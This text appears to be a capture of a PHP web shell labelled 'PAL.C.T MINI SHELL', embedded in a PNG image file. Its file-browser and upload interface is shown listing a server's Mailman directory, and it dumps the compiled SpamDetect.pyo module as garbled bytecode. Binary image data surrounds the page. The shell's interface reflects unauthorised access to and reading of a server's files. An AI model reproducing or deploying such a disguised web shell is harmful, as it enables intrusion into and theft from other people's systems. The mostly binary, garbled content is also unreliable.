php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Handlers/
upload
files >> //usr/lib/mailman/Mailman/Handlers/SpamDetect.pyo

Pc
@sdZddkZddklZddklZddklZddklZddkl	Z	ddk
lZyee
fWnej
od	Zd
Z
nXdZdeifd
YZdeifdYZe	iZdddYZdefdYZdZdS(s9Do more detailed spam detection.

This module hard codes site wide spam detection.  By hacking the
KNOWN_SPAMMERS variable, you can set up more regular expression matches
against message headers.  If spam is detected the message is discarded
immediately.

TBD: This needs to be made more configurable and robust.
iN(tStringIO(t	Generator(tmm_cfg(tErrors(ti18n(thold_for_approvaliicCs|S(N((ts((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyt_.stSpamDetectedcBseZdZRS(sThe message contains known spam(t__name__t
__module__t__doc__(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyR3stHeaderMatchHoldcBseZedZRS(s)The message headers matched a filter rule(R	R
Rtreason(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyR6stTeecBseZdZdZRS(cCs||_||_dS(N(t_outfp_at_outfp_b(tselftoutfp_atoutfp_b((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyt__init__@s	cCs$|ii||ii|dS(N(RtwriteR(RR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyRDs(R	R
RR(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyR?s	tHeaderGeneratorcBs)eZeddZdZdZRS(iNcCs#ti||||d|_dS(Nt(RRt
_headertxt(Rtoutfptmangle_from_tmaxheaderlen((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyRKscCsXt}|i}t|||_zti||Wd||_X|i|_dS(N(Rt_fpRRt_write_headerstgetvalueR(Rtmsgtsfptoldfp((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyROs		
cCs|iS(N(R(R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pytheader_textYs(R	R
tTrueRRR"(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyRJs	
cCsF|idodSxitiD]^\}}ti|ti}x:|i|gD]&}|i|}|o
tqSqSWqWd}x@|i	D]2}	t
t}
|
i|	||
i
7}qWtidd|}tidd|}xK|iD]@\}}}
|tijoqnx|iD]	}|idoq1n|ipq1nti||titiBo|tijo
tin|tijo6|ido
tintitd	n|tijo,|idodSt|||tn|tijodSq1q1WqWdS(
NtapprovedRs
+s
s
\st t#ttoowners%Message rejected by filter rule match(tgetRtKNOWN_SPAMMERStretcompilet
IGNORECASEtget_alltsearchRtwalkRRtflattenR"tsubtheader_filter_rulestDEFERt
splitlinest
startswithtstript	MULTILINEtDISCARDRtDiscardMessagetREJECTt
RejectMessageRtHOLDRRtACCEPT(tmlistRtmsgdatatheadertregextcretvaluetmotheaderstptgtpatternstactiontemptytpattern((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pytprocess^sT





 

((RR*t	cStringIORtemail.GeneratorRtMailmanRRRtMailman.Handlers.HoldRR#tFalset	NameErrorRR9RtHoldMessageRRRRL(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SpamDetect.pyt<module>s&		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`